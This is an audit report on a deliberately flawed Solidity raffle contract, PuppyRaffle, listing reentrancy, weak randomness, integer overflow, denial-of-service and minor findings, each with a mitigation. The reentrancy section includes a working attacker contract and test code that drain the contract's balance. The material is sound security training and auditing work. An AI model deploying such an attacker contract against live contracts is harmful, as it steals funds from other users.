



PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

January 30, 2025

Protocol Audit Report

azduR

January 30, 2025

Prepared by: azduR

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-01] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
 - * [H-02] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
 - * [H-03] Integer overflow of `PuppyRaffle::totalFees` loses fees
 - Medium

- * [M-01] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial Of Service (DoS) attack, incrementing gas cost for future entrants
- * [M-02] Smart contract wallets raffle winners without a `receive/fallback` function will block the start of a new contest
- Low
 - * [L-01] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Gas
 - * [G-01] Unchanged state variables should be declared constant or immutable.
 - * [G-02] Storage variables in a loop should be cached
- Informational
 - * [I-01] Solidity pragma should be specific, not wide
 - * [I-02] Using an outdated version of Solidity is not recommended.
 - * [I-03] Missing checks for `address(0)` when assigning values to address state variables
 - * [I-04] `PuppyRaffle::selectWinner` does not follow CEI which is not a best practice
 - * [I-05] Use of “magic” numbers is discouraged
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the [value](#), and the rest of the funds will be sent to the winner of the puppy.

- Puppy Raffle
- Getting Started
 - Requirements
 - Quickstart
 - * Optional Gitpod
- Usage
 - Testing
 - * Test Coverage
- Audit Scope Details
 - Compatibilities
- Roles
- Known Issues

Disclaimer

The azduR team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

- In Scope:

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Thanks, Patrick. Very good example of bad code.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	5
Gas	2

Severity	Number of issues found
Total	13

Findings

High

[H-01] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance

In the `PuppyRaffle::refund` function we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array

```
1     function refund(uint256 playerId) public {
2         address playerAddress = players[playerId];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7         payable(msg.sender).sendValue(entranceFee); // Making the
8         external call before modifying the state
9         players[playerId] = address(0); // That's the state
10        modification
11        emit RaffleRefunded(playerAddress);
12    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Code

Place the following into `PuppyRaffle.t.sol`

```
1     function test_reentrancyRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10             puppyRaffle);
11         address attackUser = makeAddr('attackUser');
12         vm.deal(attackUser, 1 ether);
13
14         uint256 startingAttackContractBalance = address(
15             attackerContract).balance;
16         uint256 startingContractBalance = address(puppyRaffle).balance;
17
18         //attack
19         vm.prank(attackUser);
20         attackerContract.attack{value: entranceFee}();
21
22         console.log('starting attacker contract balance',
23             startingAttackContractBalance);
24         console.log('starting contract balance',
25             startingContractBalance);
26
27         console.log('ending attacker contract balance', address(
28             attackerContract).balance);
29         console.log('ending contract balance', address(puppyRaffle).
30             balance);
31     }
32 }
```

And this contract as well

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(PuppyRaffle _puppyRaffle){
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
```

```
12     address[] memory players = new address[] (1);
13     players[0] = address(this);
14     puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16     attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17         ;
18     puppyRaffle.refund(attackerIndex);
19 }
20 function _stealMoney() internal {
21     if(address(puppyRaffle).balance >= entranceFee) {
22         puppyRaffle.refund(attackerIndex);
23     }
24 }
25
26 fallback() external payable {
27     _stealMoney();
28 }
29
30 receive() external payable {
31     _stealMoney();
32 }
33 }
```

Recommended Mitigation: To prevent this we should have the `PuppyRaffle.refund` function update the `players` array before making the external call. Additionally, we should have the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7         + players[playerIndex] = address(0);
8         + emit RaffleRefunded(playerAddress);
9         payable(msg.sender).sendValue(entranceFee);
10        - players[playerIndex] = address(0);
11        - emit RaffleRefunded(playerAddress);
12    }
```

[H-02] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle

themselves.

Note: This means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-03] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle and conclude the raffle
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // aka
3 totalFees = 8000000000000000000 + 1780000000000000000
4 // and this will overflow
```

```
5 totalFees = 153255926290448384
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw fees, this is clearly not the intended design of the protocol. At some point there will be too much `balance` in the contract that the above `require` will be impossible to hit

Code

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
        players);
16    // We end the raffle
17    vm.warp(block.timestamp + duration + 1);
18    vm.roll(block.number + 1);
19
20    // And here is where the issue occurs
21    // We will now have fewer fees even though we just finished a
        second raffle
22    puppyRaffle.selectWinner();
23
24    uint256 endingTotalFees = puppyRaffle.totalFees();
25    console.log("ending total fees", endingTotalFees);
26    assert(endingTotalFees < startingTotalFees);
27
28    // We are also unable to withdraw any fees because of the
        require check
29    vm.prank(puppyRaffle.feeAddress());
30    vm.expectRevert("PuppyRaffle: There are currently players
        active!");
31    puppyRaffle.withdrawFees();
32 }
```

Recommended Mitigation: There are few possible mitigations. 1. Use a newer version of Solidity and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of Solidity. However, you would still have a hard time with the `uint64` type if too many fees are collected. 3. Remove the balance check from the `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require so we recommend removing it regardless.

Medium

[M-01] Looping through players array to check for duplicates in

PuppyRaffle::enterRaffle is a potential Denial Of Service (DoS) attack, incrementing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is the more checks a new players will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make

```
1 //@audit DoS attack
2 @>     for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle:
3             Duplicate player");
5         }
6     }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big that no one else enters, guaranteeing themselves the win

Proof of Concept: If we have a 2 sets of 100 players enter the gas costs will be as such: - first 100 players: 6252128 - second 100 players: 18068218

This is more than 3x expensive for the second 100 players

PoC

Place the following test into `PuppyRaffle.t.sol`

```
1 function test_denialOfService() public {
2     vm.txGasPrice(1);
3
4     // Lets enter 100 players
5     uint256 playersNum = 100;
6     address[] memory players = new address[](playersNum);
7     for(uint256 i=0; i < playersNum; i++) {
8         players[i] = address(i);
9     }
10    // See how much gas it costs
11    uint256 gasStart = gasleft();
12    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
13    uint256 gasEnd = gasleft();
14    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
15    console.log('Gas cost of the first 100 players ', gasUsedFirst);
16
17    // now for the 2nd 100 players
18    address[] memory playersTwo = new address[](playersNum);
19    for(uint256 i=0; i < playersNum; i++) {
20        playersTwo[i] = address(i + playersNum); // '+ playersNum' to
            start from 100
21    }
22    // See how much gas it costs
23    uint256 gasStartSecond = gasleft();
24    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        playersTwo);
25    uint256 gasEndSecond = gasleft();
26    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
        gasprice;
27    console.log('Gas cost of the second 100 players ', gasUsedSecond);
28
29    assert(gasUsedFirst < gasUsedSecond);
30 }
```

Recommended Mitigation: There are few recommendations.

- 1) Consider allowing duplicates. User can make new wallet addresses anyways so duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
- 2) Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

[M-02] Smart contract wallets raffle winners without a receive/fallback function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery wouldn't be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter but it could cost a lot due to the duplicate check and a lottery reset could get very challenging

Impact: The `PuppyRaffle::selectWinner` function could revert many times making a lottery difficult

Also true winners would not get paid out and someone else could take their money

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function wouldn't work even though the lottery is over

Recommended Mitigation:

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize (recommended)

Pull over Push

Low**[L-01] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle**

Description: If a player is in `PuppyRaffle::players` array at index 0 this will return 0 but according to the natspec, it will also return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
      (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
            }
```

```
5         }
6     }
7     return 0;
8 }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

Also you could reserve the 0th position for any competition but a better solution might be to return an `int256` where the function returns -1 if the player is not active

Gas

[G-01] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::ruffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryUri` should be `constant`

[G-02] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage as opposed to memory which is more gas efficient.

```
1 +     uint256 playerLength = players.length
2 -     for (uint256 i = 0; i < players.length - 1; i++) {
3 +     for (uint256 i = 0; i < playerLength - 1; i++) {
4 -         for (uint256 j = i + 1; j < players.length; j++) {
5 +         for (uint256 j = i + 1; j < playerLength; j++) {
6             require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7         }
8     }
```

Informational

[I-01] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-02] Using an outdated version of Solidity is not recommended.

Please use a newer version like 0.8.18

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-03] Missing checks for address(0) when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 172

```
1 feeAddress = newFeeAddress;
```

[I-04] PuppyRaffle::selectWinner does not follow CEI which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
1 - (bool success,) = winner.call{value: prizePool}(""); //  
    external call  
2 - require(success, "PuppyRaffle: Failed to send prize pool to  
    winner");  
3     _safeMint(winner, tokenId);  
4 + (bool success,) = winner.call{value: prizePool}(""); //  
    external call  
5 + require(success, "PuppyRaffle: Failed to send prize pool to  
    winner");  
6 }
```

[I-05] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase and it's much more readable if the numbers are given a name

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;  
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;  
2 uint256 public constant FEE_PERCENTAGE = 20;  
3 uint256 public constant POOL_PRECISION = 100;
```

High

Medium

Low

Informational

Gas